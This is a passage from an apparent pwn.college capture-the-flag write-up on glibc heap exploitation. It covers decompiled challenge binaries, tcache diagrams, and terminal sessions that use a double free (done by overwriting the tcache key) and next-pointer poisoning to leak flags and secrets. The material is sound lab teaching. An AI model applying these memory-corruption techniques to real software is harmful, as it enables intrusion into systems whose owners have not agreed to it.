a = malloc(16)
free(a)
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
By overwriting the key with a dummy value (or NULL), we can "trick" the allocator into thinking the chunk is not currently in the Tcache. This allows us to call free() a second time on the same chunk without triggering the security crash.
Exploit
hacker@dynamic-allocator-misuse~fickle-free-easy:~$ /challenge/fickle-free-easy
###
### Welcome to /challenge/fickle-free-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/scanf/read_flag/quit): malloc
Size: 784
[*] allocations[0] = malloc(784)
[*] allocations[0] = 0x5dbbb3dcb2c0
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #48 | SIZE: 777 - 792 | COUNT: 1 | HEAD: 0x5dbbb3dcb2c0 | KEY: 0x5dbbb3dcb010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | (nil) | 0x5dbbb3dcb010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/read_flag/quit): scanf
[*] scanf("%792s", allocations[0])
AAAAAAAAA
+====================+========================+==============+============================+============================+
| TCACHE BIN #48 | SIZE: 777 - 792 | COUNT: 1 | HEAD: 0x5dbbb3dcb2c0 | KEY: 0x5dbbb3dcb010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | 0x4141414141414141 | 0x5dbbb3dc0041 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #48 | SIZE: 777 - 792 | COUNT: 2 | HEAD: 0x5dbbb3dcb2c0 | KEY: 0x5dbbb3dcb010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | 0x5dbbb3dcb2c0 | 0x5dbbb3dcb010 |
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | 0x5dbbb3dcb2c0 | 0x5dbbb3dcb010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/read_flag/quit): read_flag
[*] flag_buffer = malloc(784)
[*] flag_buffer = 0x5dbbb3dcb2c0
[*] flag_buffer = malloc(784)
[*] flag_buffer = 0x5dbbb3dcb2c0
[*] read the flag!
[*] Function (malloc/free/puts/scanf/read_flag/quit): puts
[*] puts(allocations[0])
Data: pwn.college{Mbk_-TzLM_emeeQEjY3XeOkWk_p.01N3MDL4ITM0EzW}
[*] Function (malloc/free/puts/scanf/read_flag/quit): quit
### Goodbye!
Fickle Free (Hard)
This time we need to find the size of the buffer into which the flag is read.
Binary Analysis
/challenge/fickle-free-hard :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
void *ptr; // [rsp+48h] [rbp-98h]
char choice[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v11; // [rsp+D8h] [rbp-8h]
v11 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = 0LL;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/scanf/read_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
if ( strcmp(choice, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
size = atoi(choice);
ptr = malloc(size);
}
if ( strcmp(choice, "free") )
break;
free(ptr);
}
if ( strcmp(choice, "puts") )
break;
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(choice, "scanf") )
break;
v3 = malloc_usable_size(ptr);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr);
puts(byte_2020);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
size_4 = malloc(328uLL);
v4 = open("/flag", 0);
read(v4, size_4, 128uLL);
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
- Size of memory allocation into which the flag is read:
328
Exploit
hacker@dynamic-allocator-misuse~fickle-free-hard:~$ /challenge/fickle-free-hard
###
### Welcome to /challenge/fickle-free-hard!
###
[*] Function (malloc/free/puts/scanf/read_flag/quit): malloc
Size: 328
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] Function (malloc/free/puts/scanf/read_flag/quit): scanf
AAAAAAAAA
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] Function (malloc/free/puts/scanf/read_flag/quit): read_flag
[*] Function (malloc/free/puts/scanf/read_flag/quit): puts
Data: pwn.college{Amc7hATLzmOx9D_YV-iznVKLvb-.0FO3MDL4ITM0EzW}
[*] Function (malloc/free/puts/scanf/read_flag/quit): quit
### Goodbye!
Malloc Mirage (Easy)
hacker@dynamic-allocator-misuse~malloc-mirage-easy:~$ /challenge/malloc-mirage-easy
###
### Welcome to /challenge/malloc-mirage-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] flag_buffer = malloc(896)
[*] flag_buffer = 0x6293f46682c0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/puts_flag/quit):
Let's see what the program does by decompiling the binary.
Binary Analysis
/challenge/malloc-mirage-easy :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+24h] [rbp-13Ch]
unsigned int v6; // [rsp+28h] [rbp-138h]
unsigned int v7; // [rsp+28h] [rbp-138h]
unsigned int v8; // [rsp+28h] [rbp-138h]
unsigned int size; // [rsp+2Ch] [rbp-134h]
const char *size_4; // [rsp+30h] [rbp-130h]
void *ptr[16]; // [rsp+40h] [rbp-120h] BYREF
char choice[136]; // [rsp+C0h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_2419);
printf("[*] Function (malloc/free/puts/read_flag/puts_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 228u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v6, size);
ptr[v6] = malloc(size);
printf("[*] allocations[%d] = %p\n", v6, ptr[v6]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 246u, "main");
printf("[*] free(allocations[%d])\n", v7);
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 259u, "main");
printf("[*] puts(allocations[%d])\n", v8);
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 896LL);
size_4 = (const char *)malloc(896uLL);
*(_QWORD *)size_4 = 0LL;
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, (void *)(size_4 + 16), 128uLL);
puts("[*] read the flag!");
}
if ( strcmp(choice, "puts_flag") )
break;
if ( *(_QWORD *)size_4 )
puts(size_4 + 16);
else
puts("Not authorized!");
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
So if we pass the read_flag command, the program zeroes out the first 8 bytes represented by size_4 of that allocation. The flag is then read 16 bytes after size_4.
# ---- snip ----
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 896LL);
size_4 = (const char *)malloc(896uLL);
*(_QWORD *)size_4 = 0LL;
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, (void *)(size_4 + 16), 128uLL);
puts("[*] read the flag!");
# ---- snip ----
Then, if we pass puts_flag, it checks if the size_4 is zeroed out. If it is, the flag is not printed.
# ---- snip ----
if ( strcmp(choice, "puts_flag") )
break;
if ( *(_QWORD *)size_4 )
puts(size_4 + 16);
else
puts("Not authorized!");
# ---- snip ----
Tcache chunk chaining
When free() is called on a chunk that fits in the Tcache, the allocator checks if that chunk's key field already points to the tcache_perthread_struct for the current thread.
If key == tcache_perthread_struct, the allocator scans the relevant Tcache bin to see if that chunk is already there. If it finds it, the program crashes with a "double free or corruption (tcache)" error.
If key != tcache_perthread_struct, the allocator assumes the chunk is currently allocated and proceeds to add it to the Tcache by setting that chunk's key pointer to the tcache_perthread_struct for the current thread. It also adds that chunk to the beginning of the singly-linked list by setting the chunks next pointer to the address of the previously first chunk.
a = malloc(16)
b = malloc(16)
free(b)
free(a)
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
Knowing this, if we make the program read the flag to a chunk that we control using UAF, and then free that chunk, when it's next pointer is be set, the size_4 check is overwritten.
We can free that chunk, because read_flag causes the key pointer which was pointing to tcache_perthread_struct, to be overwritten.
Thus we will be able to use the puts_flag command and get the flag.
Exploit
hacker@dynamic-allocator-misuse~malloc-mirage-easy:~$ /challenge/malloc-mirage-easy
###
### Welcome to /challenge/malloc-mirage-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 0
Size: 896
[*] allocations[0] = malloc(896)
[*] allocations[0] = 0x644fee8f22c0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 1
Size: 896
[*] allocations[1] = malloc(896)
[*] allocations[1] = 0x644fee8f2650
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 1
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 1 | HEAD: 0x644fee8f2650 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 2 | HEAD: 0x644fee8f22c0 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f22c0 | 0 | 0x391 (P) | 0x644fee8f2650 | 0x644fee8f2010 |
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] flag_buffer = malloc(896)
[*] flag_buffer = 0x644fee8f22c0
[*] read the flag!
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 1 | HEAD: 0x644fee8f2650 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 2 | HEAD: 0x644fee8f22c0 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f22c0 | 0 | 0x391 (P) | 0x644fee8f2650 | 0x644fee8f2010 |
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): puts_flag
pwn.college{YaCr8LqQNO7XOxRVrb2l58ayfLL.0VO3MDL4ITM0EzW}
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 2 | HEAD: 0x644fee8f22c0 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f22c0 | 0 | 0x391 (P) | 0x644fee8f2650 | 0x644fee8f2010 |
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): quit
### Goodbye!
Malloc Mirage (Hard)
hacker@dynamic-allocator-misuse~malloc-mirage-hard:/$ /challenge/malloc-mirage-hard
###
### Welcome to /challenge/malloc-mirage-hard!
###
[*] Function (malloc/free/puts/read_flag/puts_flag/quit):
We need to figure out the following in order to solve the hard version.
- Size of memory allocation into which the flag is read
Binary Analysis
/challenge/malloc-mirage-hard :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+24h] [rbp-13Ch]
unsigned int v6; // [rsp+28h] [rbp-138h]
unsigned int v7; // [rsp+28h] [rbp-138h]
unsigned int v8; // [rsp+28h] [rbp-138h]
unsigned int size; // [rsp+2Ch] [rbp-134h]
const char *size_4; // [rsp+30h] [rbp-130h]
void *ptr[16]; // [rsp+40h] [rbp-120h] BYREF
char choice[136]; // [rsp+C0h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/read_flag/puts_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 66u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 82u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 94u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
size_4 = (const char *)malloc(784uLL);
*(_QWORD *)size_4 = 0LL;
}
v3 = open("/flag", 0);
read(v3, (void *)(size_4 + 16), 128uLL);
}
if ( strcmp(choice, "puts_flag") )
break;
if ( *(_QWORD *)size_4 )
puts(size_4 + 16);
else
puts("Not authorized!");
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
- Size of memory allocation into which the flag is read:
784
Exploit
hacker@dynamic-allocator-misuse~malloc-mirage-hard:/$ /challenge/malloc-mirage-hard
###
### Welcome to /challenge/malloc-mirage-hard!
###
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 0
Size: 784
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 1
Size: 784
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 1
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): puts_flag
pwn.college{knO2mcRxdTIDye38lEOhpvy9MXg.0FM4MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): quit
### Goodbye!
Seeking Secrets (Easy)
hacker@dynamic-allocator-misuse~seeking-secrets-easy:/$ /challenge/seeking-secrets-easy
###
### Welcome to /challenge/seeking-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x423266.
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Lets look at the decompiled code in order to figure out the functionality of the challenge.
Binary Analysis
/challenge/seeking-secrets-easy :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 7; ++i )
byte_423266[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_423266);
puts("If you can leak out this secret, you can redeem it for the flag.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035BA);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 279u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 297u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v9 = atoi(choice);
if ( v9 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x136u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v10 = atoi(choice);
if ( v10 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 323u, "main");
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035BA);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( !memcmp(choice, byte_423266, 8uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
So the secret is kept at a location in memory, which we have to read from and pass to the send_flag.
Polluting Tcache entry_struct
Let's say we allocate two chunks A, B of memory and then free them. It would look something as follows:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄ ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
Then we use the scanf command and read to the index of the first allocation A using the hanging pointer. The first 8 bytes at that location would hold the next pointer which would point to B.
We can overwrite this with the address of the secret.
This would cause the chunk B to be removed from the singly-linked list, and the memory at the secret address would take it's place.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │
┆ tcache_entry B ┆ │
├──────────────────┤ │
│ next: NULL │ │
├──────────────────┤ │
│ key: Void │ │
